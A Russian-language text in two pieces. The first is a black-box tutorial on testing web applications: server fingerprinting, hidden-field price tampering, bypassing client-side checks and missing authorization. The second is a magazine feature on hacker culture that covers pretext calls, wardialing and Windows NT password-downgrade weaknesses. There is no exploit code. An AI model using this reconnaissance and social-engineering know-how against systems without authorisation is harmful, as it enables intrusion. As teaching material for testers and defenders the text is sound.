Web-приложения обычно взаимодействую с пользователем с помощью элементов форм и переменных GET или POST. В случае использования метода GET все значения, передаваемые приложению могут быть видны непосредственно в URL, в то время как в случае POST-запросов для определения того, что вводит пользователь, часто приходится изучить исходный текст страницы, содержащей форму (или перехватить и декодироватьзапрос).

HTTP-запрос, передаваемый типичным web-приложением, выглядит следующим образом:

GET /sample.php?var=val&var2=val2 HTTP/1.1    | метод REQUEST-URI протокол/версия
Session-ID: 361873127da673c                   | заголовок Session-ID
Host: www.webserver.com                       | заголовок Host
<CR><LF><CR><LF>                              | два перевода строки

Каждый элемент этого запроса потенциально может быть использован web-приложением, его обрабатывающием. В REQUEST-URI находится адрес программной единицы, которая будет запущена для обработки запроса, а также строка со списком параметров - список пар &variable=value, определяющих входные параметры. Это основная часть входных данных web-приложения. Заголовок Session-ID содержит идентификатор сессии, установленной клиентом в качестве примитивной формы аутентификации. Заголовок Host предназначен для выбора одного из нескольких виртуальных хостов, испольующих один и тот же IP-адрес, и обычно обрабатывается web-сервером, но может быть доступен и web-приложению.

Тестирующий должен использовать все доступные методы ввода данных для достижения исключительных условий внутри приложения. Т.е. вы не должны быть ограничены тем, что предоставляет броузел или автоматизированные средства. HTTP-запросы очень легко генерируются с помощью таких утилит как curl, или скриптов оболочки, использующих netcat. Процесс исчерпывающего тестирования по методу черного ящика включает в себя исследование каждого элемента данных, определение ожидаемого ввода, искажение его, и анализ результатов работы приложения на предмет выявления признаков неожиданного поведения.

Этап сбора информации

Определение окружения web-приложения

Одним из первых шагов тестирования должно быть определение окружения, в котором исполняется web-приложение. Это включает информацию об используемых скриптовых языках, web-сервере, операционной системе. Все эти критичные детали легко выведать у типичного web-сервера следующим образом:

  1. Проанализировать отклик на HTTP-запросы HEAD и OPTIONS

    Заголовок и любая страница, возвращенное запросу HEAD и OPTIONS обычно содержит строчку SERVER: (или что-то аналогичное), в которой содержится информация о версии web-сервера и, возможно, информация об окружении или используемой операционной системе:

    OPTIONS / HTTP/1.0

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 04 Jun 2003 11:02:45 GMT
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: none
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Cache-Control: private
  2. Исследовать формат и текст информации о 404-й ошибке сервера (и других)

    Некоторые системы (например, ColdFusion) имеют специфичные и, следовательно, легко узнаваемые сообщения об ошибках, а также часто позволяют узнать версии используемых скриптовых языков. Тестирующий должен преднамеренно запросить страницы, приводящие к подобным ошибкам, а также использовать альтернативные методы запроса (POST, PUT и т.п.) ля извлечения этой инфорамции из сервера.

    Ниже приведен пример страницы с ошибкой, выводимой ColdFusion:

  3. Проверить распознаваемые типы файлов/расширения/каталоги

    Многие web-серверы (например Microsoft IIS) по-разному реагируют на запросы файлов с поддерживаемыми и неизвестными расширениями. Тестирующему следует попытаться запросить файлы со стандартными расширениями, такими как .ASP, .HTM, .PHP, .EXE, и следить за появлением какого-либо необычного результата или кодов ошибок.

    GET /blah.idq HTTP/1.0

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 04 Jun 2003 11:12:24 GMT
Content-Type: text/html

<HTML>The IDQ file blah.idq could not be found.
  4. Проверить исходные тексты доступных страниц

    Исходный текст страницы, сгенерированной web-приложением, может дать намек на используемое программное окружение.

    <title>Home Page</title>
<meta content="Microsoft Visual Studio 7.0" name="GENERATOR">
<meta content="C#" name="CODE_LANGUAGE">
<meta content="JavaScript" name="vs_defaultClientScript">

    В данном случае, похоже, разработчик использовал MS Visual Studio 7, а приложение, скорее всего, исполняется на Microsoft IIS 5.0 с .NET framework.

  5. Манипулировать входными данными для получения ошибок скриптов

    В следующем примере мы искажаем наиболее очевидную переменную (ItemID) для получения информации об окружении web-приложения:

  6. Использовать сканирование TCP/ICMP и сервисов

    С помощью традиционных средств сканирования, таких как Nmap и Queso, или более новые анализаторы приложений Amap и WebServerFP, тестирующий может получить более точную информацию об используемой операционной системе и используемом программном окружении, чем с помощью многих других методов. Nmap и Queso используют проверку особенностей реализации TCP/IP на исследуемом хосте для определения операционной системы и, в некоторых случаях, версий ядра и установленных патчей. Анализаторы приложений использут такую информацию как серверные HTTP-заголовки для определения запущенных на хосте приложений.

Скрытые элементы форм и раскрытие исходных текстов

Во многих случаях разработчики требуют от клиентов входные данные, которые должны быть защищены от изменения пользователем - такие как идентификатор пользователя, который генерируется динамически, передается клиенту, после чего используется во всех последующих запросах. Для того, чтобы помешать пользователям увидеть и исказить эту информацию, разработчики обычно используют элементы форм с тэгом HIDDEN. К сожалению, эта информация не видна только в отображенной странице, но не в ее исходном коде.

Известно множество примеров безграмотно спроектированных систем, позволяющих, к примеру, сохранить локальную копию страницы с подтверждением заказа, отредактировать спрятанные переменные, в которых хранится цена/стоимость доставки, после чего отправить исправленный заказ. Web-приложение не проверяет данные, и заказ обслуживается с большой скидкой :)

<FORM METHOD="LINK" ACTION="/shop/checkout.htm">
<INPUT TYPE="HIDDEN" name="quoteprice" value="4.25">Quantity: <INPUT TYPE="text"
NAME="totalnum"> <INPUT TYPE="submit" VALUE="Checkout">
</FORM>

Такой подход до сих пор можно встретить на многих сайтах, хотя уже и в меньше степени. Обычно в скрытых полях передается некритичная или предварительно зашифрованная информация. Однако, вне зависимости от значимости этих полей, они являются еще одним обязательным местом приложения усилий тестирующего.

Все исходные тексты страниц должны быть проверены на предмет обнаружения любой полезной информации, непреднамеренно оставленной разработчиком - это могут быть фрагменты скриптов, расположенных внутри HTML-кода, ссылки на подключаемые или связанные скрипты, неаккуратные права доступа к критичным файлам с исходным текстом. Должно быть проверено наличие каждой программы и скрипта, ссылки на которых были найдены. В случае обнаружения они тоже должны быть протестированы.

Код на Javascript и других аналогичных клиентских скриптовых языках также может предоставить много сведений о внутренней логики работы web-приложения, что является весьма важным при тестировании по принципу черного ящика. В отличие от тестирования с аудитом кода, когда имеется доступ к сведениям о логике работы приложения, для закрытого тестирования подобная информация является роскошью, которая может обеспечить средства для будущих атак. Например, рассмотрим следующий фрагмент кода:

<INPUT TYPE="SUBMIT" onClick="
if (document.forms['product'].elements['quantity'].value >= 255) {
   document.forms['product'].elements['quantity'].value='';
   alert('Invalid quantity');
   return false;
} else {
   return true;
}
">

Это означает, что приложение пытается защититься в обработчике формы от передачи в переменной quantity значений, больших или равных чем 255 - максимальное значение для поля с типом tinyint в большинстве баз данных. Эта проверка на стороне клиента обходится элементарно, после чего записываем в поле quantite большее значение, отправляем запрос и смотрим, не вызовет ли это какого-то нестандартного поведения приложения.

Определение механизмов аутентификации

Один из серьезнейших изъянов среды web-приложений - невозможность обеспечения стойкого механизма аутентификации. Еще большей проблемой является часто встречающаяся неспособность эффективно использовать доступные механизмы. Следует уточнить, что под средой web-приложений понимается множество протоколов, языков и форматов (HTTP, HTTPS, HTML, CSS, JavaScript и т.п.), которые используются в качестве платформы при создании web-приложений. HTTP обеспечивает два вида аутентификации: Basiс и Digest. Они оба реализованы в качестве серии HTTP-запросов и ответов, в рамках которой клиент запрашивает ресурс, сервер требует аутентификацию, и клиент повторяет запрос, снабдив его аутентификационным удостоверением (логин+пароль). Вся разница между ними заключается в том, что в случае Basic-аутентификации информация передается в открытом виде, а в случае Digest - шифруется с помощью ключа, сгенерированного сервером.

Помимо очевидной проблемы использования открытого текста в случае Basic-аутентификации, здесь нет ничего принципиально плохого, да и эта проблема открытого текста смягчается при использовании HTTPS. Реальная проблема двояка. Во-первых, поскольку эта аутентификация осуществляется web-сервером, ее не так легко контролировать из web-приложения в случае отсутствия интерфейса взаимодействия с аутентификационной базой данных web-сервера. Следовательно, часто используются самодельные механизмы аутентификации, тем самым открывая настоящий ящик Пандоры. Во-вторых, разработчикам часто просто не удается корректно применить механизм аутентификации для ограничения доступа ко всем ресурсам.

С учетом этого, тестирующий должен попытаться установить как используемый механизм аутентификации, так и то, каким образом этот механизм применен по отношении к каждому ресурсу, используемому web-приложением. Многие web-системы предлагают средства поддержки сессий, основанные на сохранении в cookie или Session-ID псевдоуникальной строки, характеризующей их статус. Такой подход может быть уязвим к таки атакам, как прямой перебор, повторная отправка, или попытка восстановления - в том случае если данная строка является простым хэшем или строкой, составленной из известных элементов.

Следует попытаться получить доступ ко всем ресурсам через каждую точку входа. Это может выявить следующую ошибку - в то время как главное меню требует аутентификации, ресурсы, к которым оно предоставляет доступ, ее уже не требуют. Примером может послужить web-приложение, обеспечивающее доступ к различным документам следующим образом. Приложение требует пароль, после чего авторизованный пользователь получает меню с документами, и каждый документ представлен в нем как ссылка на ресурс вида http://www.server.com/showdoc.asp?docid=10 .

Несмотря на то, что вывод меню требует авторизации, скрипт showdoc.asp ее не требует и слепо дает доступ всем желающим к запрошенному документу, позволяя атакующему просто вставить желаемый идентификатор и получить документ. Звучит элементарно, но встречается сплошь и рядом.

Выводы

В данной статье мы рассмотрели работу web-приложений и то, каким образом разработчики получают и обрабатывают пользовательский ввод. Мы также показали важность идентификации среды, в которой выполняется web-приложения, и важность выработки представления о его функционировании. Вооружившись этой информацией, тестирующий может перейти к целенаправленному тестированию уязвимостей. В следующей статье цикла будут рассмотрены атаки, использующие манипулирование кода и контента, такие как внедрение кодов PHP и ASP, SQL-внедрение, SSI и межсайтовый скриптинг.


Хакеры: Дьяволы или святые?

Профессиональные администраторы сетей недолюбливают хакеров. Однако законопослушным системным администраторам может пригодиться знание их привычек и методов действий - например для обеспечения лучшей защиты сети. Роберт Ричардсон

Джеф Мосс включает одни и отключает другие соединения конференц-связи, отличает одного участника от другого и при этом каким-то образом добивается качества воспроизведения звука выше среднего. Такая способность сама по себе должна подсказать вам, что он, несмотря на видимую дружелюбность и безобидность, "прячет козырного туза в рукаве".

В конференции, к которой я был подключен, Мосс упрощал не только механику вызова, но и сам разговор между мной и, за неимением лучшего слова, врагом. Все участники, кроме меня, знали, как проникнуть в чужие компьютеры. Например, один из них, по прозвищу Гвоздь, с азартом рассуждал о взломе серверов Windows NT.

Для него Windows NT не столько операционная система с несколькими дырами, сколько отстойник, где все желающие могут парковать свои экскурсионные автобусы.

Три-четыре хакера - большие друзья Мосса, с которыми он постоянно общается. Каждый так и сыплет только им понятными шутками. Все они, как Юлий Цезарь, делают несколько дел одновременно во время разговора. Например, пока мы говорили, один из них работал с программой по определению незащищенных серверов Network News Transfer Protocol в Internet и за время нашей двухчасовой беседы обнаружил их порядка 300.

Как хакеры, они используют прозвища, а не настоящие имена. Я не смог разобрать всех прозвищ, и к тому же часто путал голоса. Наверняка я знаю только то, что Джеф Мосс известен в этих кругах как Dark Tangent.

СВЯТОЙ ИЛИ ГРЕШНИК?

Dark Tangent говорит, что он больше не занимается хакерством с тех пор, как начал вести ежегодную конференцию Las Vegas Defcon, одно из нескольких общенациональных собраний хакеров. Соответствующие органы знают, что Dark Tangent на самом деле Джеф Мосс, и они могут его очень легко выследить, поэтому он остается в рамках закона и действует как посредник в организации встреч между хакерами и теми, кто в них заинтересован. Хакеры любят разговаривать с журналистами (а иногда даже и с сотрудниками правоохранительных органов), потому что не прочь поговорить о своем "времяпрепровождении", а заодно и подыскать новые объекты для атак. Например, они не против узнать, какое оборудование будет наиболее популярным в типичной информационной системе в ближайшие год-два.

Как-то раз я спросил Мосса, поможет ли сетевым администраторам знание некоторых подробностей о деятельности типичных хакеров в защите их сетей. Какие секреты хакеров помогут не допустить их в сеть?

Несмотря на то что Мосс знает массу хакеров, он рассказал не очень-то и много о конкретных деталях. Тем не менее Мосс поведал немало любопытного о мире хакеров. В частности, он объяснил, что есть "старая школа" и "новая школа". К старой школе принадлежат хакеры вроде Стефана Леви (под этим подразумевается тип некриминального программиста, описанного в книге Леви "Хакеры"). Хакерам новой школы не так интересно, что как работает. Люди зовут их "сценаристами" (script kitties), поскольку они используют созданные более опытными хакерами сценарии для автоматизации атак на системы без необходимого понимания того, что, собственно, такой сценарий делает. Их девиз: "Дайте мне инструмент, и я взломаю систему".

Хакеры старой школы никому не приносят вреда, за исключением, может быть, некоторых подвернувшихся под руку простаков. Действия новичков гораздо менее предсказуемы и, по выражению Мосса, потенциально куда более разрушительны. Вообще говоря, умудренные опытом хакеры стараются по возможности не наносить ущерба системе. На самом деле, как утверждает Мосс, они иногда даже делают кое-что хорошее: "Жертвы хакеров догадываются, что кто-то входил в их систему с полномочиями супервизора, заметив, что система стала работать лучше. Например, хакер проник внутрь и заменил ядро на свое, но более надежное. Кроме того, он избавился от лишних журнальных файлов и исправил очереди на печать, потому что заинтересован в том, чтобы система работала хорошо, иначе кто-нибудь может случайно обнаружить присутствие постороннего при диагностировании той или иной рутинной проблемы".

Зимний выпуск 1997 года ежеквартального журнала хакеров "2600 Magazine" с тиражом 40 000 экз. также исповедует принцип "Не навреди". Во вступительной статье "Знание - сила" редактор пишет: "Мы должны быть очень осторожны, чтобы не поддаться соблазну настоящего преступления. Если вы ему поддадитесь, то дух приключений и открытий будет вытеснен жаждой наживы... не говоря уже о том, что вы превратитесь в низкопробную дешевку".

Этот призыв выражает этику хакеров, согласно которой основная мотивация хакера - это "приключения и открытия", а не злонамеренные действия. (Пример политической мотивации: www.2600.com/fur_hacked/fur.html ) Тем не менее я бы хотел знать, насколько серьезно журнал воспринимает провозглашенный им самим принцип "Не навреди". Например, другая статья в зимнем выпуске содержит весьма подробное исследование смарт-карт типа телефонных карт и электронных кошельков. В ней вы найдете описание контактов, схемные диаграммы и подробные рекомендации по извлечению и повторному использованию кристаллов из карт различных типов. "Ответственность за использование этой информации в незаконных целях на совести преступника", - предупреждает вступительная статья. Несколькими страницами ниже вы можете найти детальную информацию о программном обеспечении, используемом в желтых трубках CAT (Craft Access Terminal), которые телефонисты применяют для тестирования телефонных линий. "Если красть CAT, то лучше в пятницу", - советует статья. Кража в пятницу хороша тем, что пароль будет действителен до следующего понедельника. Еще более ставит под сомнение искренность вступительного слова редактора низкопробная статья, в которой автор объясняет, как просто подключиться и прослушать чей-либо домашний телефон. Прочитав все это, я легко могу себе представить, что читателям журнала хакеров приходится постоянно бороться с "соблазном настоящего преступления".

ПРЕСТУПЛЕНИЕ И НАКАЗАНИЕ

Хотя "2600" и занимает весьма сомнительную моральную позицию, братство хакеров считает, что компьютерный истэблишмент вместе с ФБР и ЦРУ чересчур прямолинейно относится к хакерам: практически любое действие хакера рассматривается как преступление, за которое следует сажать в тюрьму. Многие из этих подвигов - "безвредные" нарушения, которые компьютерная контркультура не рассматривает как преступления.

Тезис о безвредности хакеров имеет по крайней мере две стороны. Во-первых, "нет вреда, нет и преступления". Во-вторых, это аргумент "добродетельный Давид против военно-промышленного Голиафа", который журналист Гарет Бранвин обнародовал в предисловии к опубликованному руководству хакеров под названием "Секреты суперхакера".

Согласно первому аргументу хакеров эксплуатация неиспользуемых компьютерных ресурсов нельзя рассматривать как кражу. Несмотря на то что ФБР и поставщики брандмауэров утверждают, что этот аргумент - просто нонсенс и что любое несанкционированное использование - это уже уголовное преступление, они не очень-то утруждают себя объяснением того, почему вполне безвредные нарушения являются преступлением. По сравнению с другими определения компьютерных преступлений весьма расплывчаты, а нарушителей привлекают к ответственности в основном за то, что они могли бы сделать, а не за то, что они сделали. В результате хакер наказывается просто за то, что он проник в систему, а не за то, что он в ней натворил.

Умышленно или из-за неосведомленности в заявлениях федеральных властей нанесенный хакерами вред чрезмерно преувеличен. Так, Кевин Митник был обвинен в нанесении ущерба на сумму 80 млн долларов, но представленные ФБР улики не подтверждают этого. Возможно (как в случаях, когда гангстеров сажают в тюрьму за уклонение от уплаты налогов, а не за убийство), Митник совершил гораздо больше того, за что правительство привлекло его к суду. Но сами хакеры относятся к этому иначе: они считают Митника скорее жертвой, нежели преступником.

Преследование Митника и других ему подобных свидетельствует о том, что правоохранительные органы пытаются пресечь вообще всякую деятельность хакеров, в частности потому, что их очень трудно поймать. Сначала деятельность известных хакеров подается в прессе в негативном свете, а потом их давят, как тараканов.

Аргумент "хакер - это библейский Давид" развенчать гораздо проще, в особенности если придерживаться мнения, что цель не оправдывает средства. В любом случае разница между атакой в целях публичной демонстрации того, как легко получить конфиденциальную медицинскую информацию о пациенте, и атакой в целях кражи схемы нового прибора весьма существенна.

НОВЫЕ УГРОЗЫ

Где-то между заявлениями об опасности хакеров типа Митника и кредо хакеров об исследовании мира без нанесения ему вреда лежит практический вопрос: насколько вероятен успех атаки против вас и что делать, если вы обнаружите хакера в своей информационной среде?

Хакеры старой школы весьма ограничили свою деятельность, сосредоточившись на оборудовании своем и других хакеров. Это, конечно, хорошо, но хакеры новой школы могут представлять реальную угрозу вашей компании. Если уж эти хакеры собрались проникнуть в вашу систему, то они хотят или в самом деле нанести вред, или достичь каких-либо иных результатов (например, найти код для санкционирования банковских переводов). Хакеры новой школы - с висящим над ними молотом закона - имеют больше оснований рассчитывать на компенсацию. Мы должны учитывать и другое следствие такого отношения: если один из этих парней почувствует, что мы его обнаружили, он разрушит все, что только можно, лишь бы замести следы.

Это возвращает меня назад к конференции. Я сказал: "Готов верить, что вы, ребята (приверженцы старой школы), вряд ли заинтересуетесь моей маленькой сетью, и что, если это все же произойдет, я не обнаружу при очередной регистрации в сети, что все мои файлы стерты, а моя финансовая информация выставлена в Internet. Но как насчет хакеров новой школы? Разве они не представляют угрозы?"

Один ответил мне, что, конечно же, представляют, другой - что такие хакеры просто читают группы новостей по защите и пытаются проникнуть через известные лазейки, которые какой-нибудь идиот не позаботился закрыть.

Так что знание - это уже наполовину выигранная битва за безопасность сети: хакеры уделяют много внимания разным заплаткам системы защиты, в то время как администраторы сетей их зачастую игнорируют. Если бы я ничего больше не узнал при подготовке этой статьи, я бы уяснил для себя по крайней мере следующее: хакеры весьма активно занимаются самообразованием, что не мешало бы делать и администраторам сетей.

Давайте вспомним опять вступительную статью "2600", где отмечается, что настоящему хакеру должен быть присущ "дух приключений и открытий". Хакеры весьма любопытны - даже чересчур, добавили бы мы. Руководство "Секреты суперхакера" подтверждает эту точку зрения. Так Рыцарь кошмаров, хакер, написавший это руководство, из породы тех, кто "просто хочет знать все, что происходит в этом мире".

Другими словами, если администратор сети ничего практически не будет знать о хакере, атаковавшем сеть, то уж сам хакер почти наверняка станет собирать всевозможную информацию об администраторе, а также о сети и компьютерах в ней, компании, владеющей сетью, ее сотрудниках и т. д.

СОЦИАЛЬНАЯ ИНЖЕНЕРИЯ

Хороший хакер собирает информацию ревностно. Он делает это затем, чтобы проникнуть в намеченную систему, не вызывая подозрений. (узел Web, через который хакеры обмениваются информацией и советами: http://www.hackerz.org/ ) Этот начальный сбор информации обычно не предусматривает применение снифферов и специализированного программного обеспечения или полночные вторжения в помещения (однако ничего из вышеперечисленного полностью исключать нельзя). Как правило, это случайно подслушанные разговоры или небрежно оставленные записки.

На языке компьютерного андерграунда социальная инженерия означает классическую тактику телефонных звонков в компанию от лица того, кто имеет право знать запрашиваемую информацию. Работа потенциального взломщика состоит в сборе отрывочных сведений с последующим их сопоставлением для извлечения информации, которая могла бы оказаться полезной для получения доступа к системе. Хакер начинает с выяснения, кто есть кто в руководстве намеченной им компании. Делать он это может, собирая выброшенные записки или с помощью звонков. Рыцарь кошмаров утверждает, что высшие должностные лица часто выбирают легко угадываемые пароли, дабы не утруждать себя их запоминанием, причем нередко они даже не сами их придумывают. Лично мне пришлось по крайней мере один раз задавать пароль для исполнительного директора, очень близкий к его реальному имени (по его настоянию, конечно), так что я могу с уверенностью утверждать, что это чистая правда.

Разумеется, конечная цель хакера - получение доступа к сети. Он может сделать это либо через общедоступную сеть (преимущественно Internet), либо по коммутируемой линии напрямую. Ввиду того что телефоны в одном и том же офисе обычно имеют одинаковый префикс, при последовательном переборе номеров он в конце концов наткнется на ответный сигнал модема. В большинстве штатов такие действия не являются незаконными. Они могут, конечно, насторожить телефонную компанию, но хакеру ничего не стоит перемежать подобные звонки с нейтральными, так что какую-либо закономерность выявить будет трудно.

Хакер может поступить еще проще: улучив момент, когда вахтер в вестибюле отлучится на время, он может зайти в офис с улицы под тем или иным предлогом (например, чтобы спросить, как найти какую-либо иную компанию в том же здании) и отыскать номер сетевого модема в оставленном на столе списке телефонов компании.

Зная номер модема и пару вероятных имен пользователей, хакер располагает достаточной информацией для обоснованного предположения регистрационного имени и пароля. В случае, даже если предположение окажется неверным, хакер может тем не менее получить некоторую дополнительную информацию о намеченной в жертву системе. Например, зная номер модема, он может позвонить и в большинстве случаев узнать, какого рода поддержку коммутируемого входа предлагает данная система. Как? По тому, как система отвечает на телефонный звонок.

Вооруженный этой информацией хакер может продолжить свой социальный инжиниринг. Например, он может позвонить кому-либо из персонала технической поддержки от имени сотрудника другого отдела компании и попросить его, якобы по поручению вице-президента (все тот же список телефонов), помочь войти в сеть по коммутируемой линии, так как удаленный офис не может связаться со штаб-квартирой. По утверждению хакеров, в половине случаев это срабатывает, и в результате хакер получает подробную инструкцию о входе в систему.

Процедура несколько проще, когда компания подключена к Internet. Точнее, она проще, если компания разрешает любой входящий трафик, - в той или иной мере это справедливо для очень многих фирм.

В случае, если хакеру не удастся найти дружелюбного сотрудника компании, который без лишних слов даст ему доступ к бюджету, он, как и раньше, может попытаться угадать пароль. Даже если вы постоянно напоминаете своим сотрудникам о важности выбора пароля, все равно наверняка найдется немало тех, кто возьмет для себя легко запоминающийся пароль. Особенно опасно то, что люди склонны использовать одни и те же пароли в самых разных ситуациях. Известно, что некоторые хакеры предлагают бесплатные услуги, закрытые паролем, только для того, чтобы посмотреть, какие пароли выберут пользователи. С высокой степенью вероятности не та, так другая пара имени пользователя и пароля подойдет и к атакуемой системе.

Проникнув в систему, хакер приступает к следующей фазе исследования. По выражению Рыцаря кошмаров, "проникновение в систему ничего не стоит, если вы оказываетесь в пустом домашнем каталоге с таким низким уровнем полномочий, что ничего интересного сделать просто невозможно. В таком случае вы должны попытаться поднять этот уровень до максимально возможного".

На данном этапе хакер может использовать более хитрые уловки для сбора информации о вашей системе. По меньшей мере, он имеет возможность установить, кто еще из сотрудников работает в системе и что они делают. В лучшем (для него) случае хакер может обнаружить, что некоторые бюджеты имеют простые пароли (например, принятые по умолчанию), и узнать, какие бюджеты имеют привилегии супервизора. С момента получения хакером прав супервизора атакуемая система оказывается полностью в его власти. В этом случае вам остается только уповать на то, что хакер принадлежит к старой школе.

УЧИМСЯ СЛУШАТЬ

Администраторам сетей может быть небезынтересно узнать и другие особенности поведения хакеров. Например, если опытные хакеры предпочитают не хвастать о конкретных взломах, они тем не менее любят порассуждать на тему защиты и ее недостатков. Один из способов получить такую информацию о хакерах - это заняться социальным инжинирингом. В конце концов, социальный инжиниринг применим к хакерам точно так же, как к любой другой категории людей, и администраторы сетей, чьи системы были атакованы, находили обидчиков, притворившись хакерами, ищущими информацию о своих собственных системах. Вне зависимости от того, как вы выйдете на контакт, если у вас появится шанс поговорить с хакером, то я бы настоятельно советовал вам удержаться от проповедей и внимательно слушать то, что хакер вам говорит; таким образом вы сможете узнать о некоторых потенциальных дырах в системе безопасности вашей сети.

Взять, к примеру, Гвоздя, одного из хакеров - участников конференции. Остальные не могли вставить и слова, когда он заговорил на любимую тему - Windows NT. Пары вопросов оказалось вполне достаточно, чтобы перевести беседу в нужное русло.

"В прошлом хакеры атаковали в основном Unix и VMS. Означает ли сравнительная неосведомленность хакеров в NT, что серверам NT в Internet пока ничего не грозит?" - спросил я.

"Возможно, что какое-то время да, но NT имеет столько дыр, что я сильно сомневаюсь", - ответил Гвоздь.

"Насколько NT представляет интерес для хакеров? Какие у нее есть недочеты?" - уточнил я вопрос.

"Ребята уже открыли некоторые существенные недоработки в NT. Например, клиент никак не может проверить, что он общается действительно с тем сервером, к которому обратился", - пояснил мой собеседник. Он подробно рассказал, как это обстоятельство может быть использовано для того, чтобы вклиниться между сервером и клиентом.

Гвоздь сделал еще много других интересных замечаний относительно Windows NT. Например, он утверждает, что клиента можно убедить в том, что тот имеет дело с сервером, не умеющим обрабатывать зашифрованные пароли, в результате клиент будет посылать пароли открытым текстом. Сервер же решит, что, должно быть, клиент не имеет средств шифрования, и поэтому пароль посылается в открытом виде. Это значительно упрощает атаку по методу грубой силы: не надо беспокоиться о правильности шифрования, потому что сервер примет предполагаемый пароль и так.

В целом хакеры, с которыми я говорил, считают, что вопросы безопасности Microsoft решила из рук вон плохо. Они обращают внимание на то, что компания старается не афишировать свои планы в отношении защиты и обнаруженные слабости. По общему мнению хакеров, такая политика замалчивания означает, что многие потенциальные пробелы в защите в типичной инсталляции Windows NT никогда не были ликвидированы, потому что обычный администратор сети просто ничего о них не узнает.

Что касается Novell, чья операционная система NetWare по-прежнему имеет наибольшую долю на рынке, хакеры ее попросту ни во что не ставят, поэтому у меня возникло сомнение, насколько серьезно мне следует относиться к самим хакерам, презрительно отзывавшимся о защите NDS. У меня создалось впечатление, что те хакеры, с которыми я говорил, никогда не пытались взломать систему Novell. С другой стороны, с первого же запроса в Yahoo я нашел несколько узлов с программным обеспечением в помощь тем, кто хочет попытаться взломать систему Novell. Насколько это ПО способно помочь - уже другой вопрос, и, честно говоря, "инструкции" по взлому системы Novell свидетельствовали скорее о слабом знании и понимании NetWare. Тем не менее хакеры постепенно накапливают информацию о дырах в защите NetWare и Windows NT, а с увеличением числа подключений этих систем к Internet они становятся гораздо более доступными.

Межсоединение различных типов систем, как через закрытые, так и через общедоступные сети, приветствуется почти всеми хакерами, с которыми я говорил.

"Это потому, что вы можете получить доступ к большему числу систем?" - спросил я Гвоздя.

"Да, но еще и потому, что все системы запрограммированы на доверие друг другу. Возьмем, к примеру, любую крупную компанию. Она имеет почти наверняка старый мэйнфрейм, от которого не хочет избавляться потому, что потратила в свое время слишком много денег, чтобы научить его считать балансы. Затем сеть NetWare, объединяющая ПК, чтобы каждый мог общаться с каждым. Теперь еще серверы NT. Администраторы же устанавливают программное обеспечение управления, чтобы все эти системы находились в одном доверительном домене. Таким образом, взломав сервер NT, вы получаете в свое распоряжение всю сеть. Зачем взламывать надежную защиту мэйнфрейма, если он доверяет серверу NT?"

"Вы весьма скептически относитесь к защите NT", - заметил я.

"Сказать по правде, я могу установить такой сервер NT, относительно которого я был бы спокоен, но это потому, что я знаю, в чем его слабость, - признался Гвоздь. - Проблема в том, что Microsoft не хочет публично обсуждать недоработки в NT. Кроме того, хакеры располагают исходным кодом NT, и, скажем так, непохоже, чтобы над защитой работали эксперты в этом деле. С другой стороны, защиту Unix испытывают на прочность уже много лет, и поэтому есть люди, знающие, как сделать ее непробиваемой. С одной стороны, на NT пока обращают мало внимания, а с другой - Microsoft не желает говорить о проблемах".

В предварительном нашем разговоре Джеф Мосс также упоминал о доступности исходного кода Windows NT. Специально подчеркивая, что он не видел этого кода, Джеф тем не менее утверждал, что Microsoft опустила все комментарии в разделах исходного кода, касающихся защиты. В ответ на мой вопрос о том, насколько это затрудняет его понимание, он только презрительно усмехнулся и даже пошутил: "Должно быть, они позвали кого-то из группы по разработке Excel для усовершенствования защиты".

ЗНАЙ СВОЕГО ВРАГА

Большинство компаний вряд ли сможет добиться желаемого уровня защищенности от хакеров. С одной стороны, информация о компьютерных системах, сетевых ОС и приложениях широко доступна. Кроме того, человеку по природе свойственны доверчивость и готовность помочь - добродетели, при определенных обстоятельствах способные обернуться против нас. Если вы отвечаете за защиту системы, один из способов обезопасить ее - это узнать кое-что о своих врагах и действовать против них их же методами. Например, хакеры тратят много сил и времени на поиски дыр в защите. Администраторам сетей следовало бы делать то же самое. В конце концов, вы не в силах изменить хакера, как не в силах изменить природу человека, но вы можете быть во всеоружии в случае атаки злоумышленников.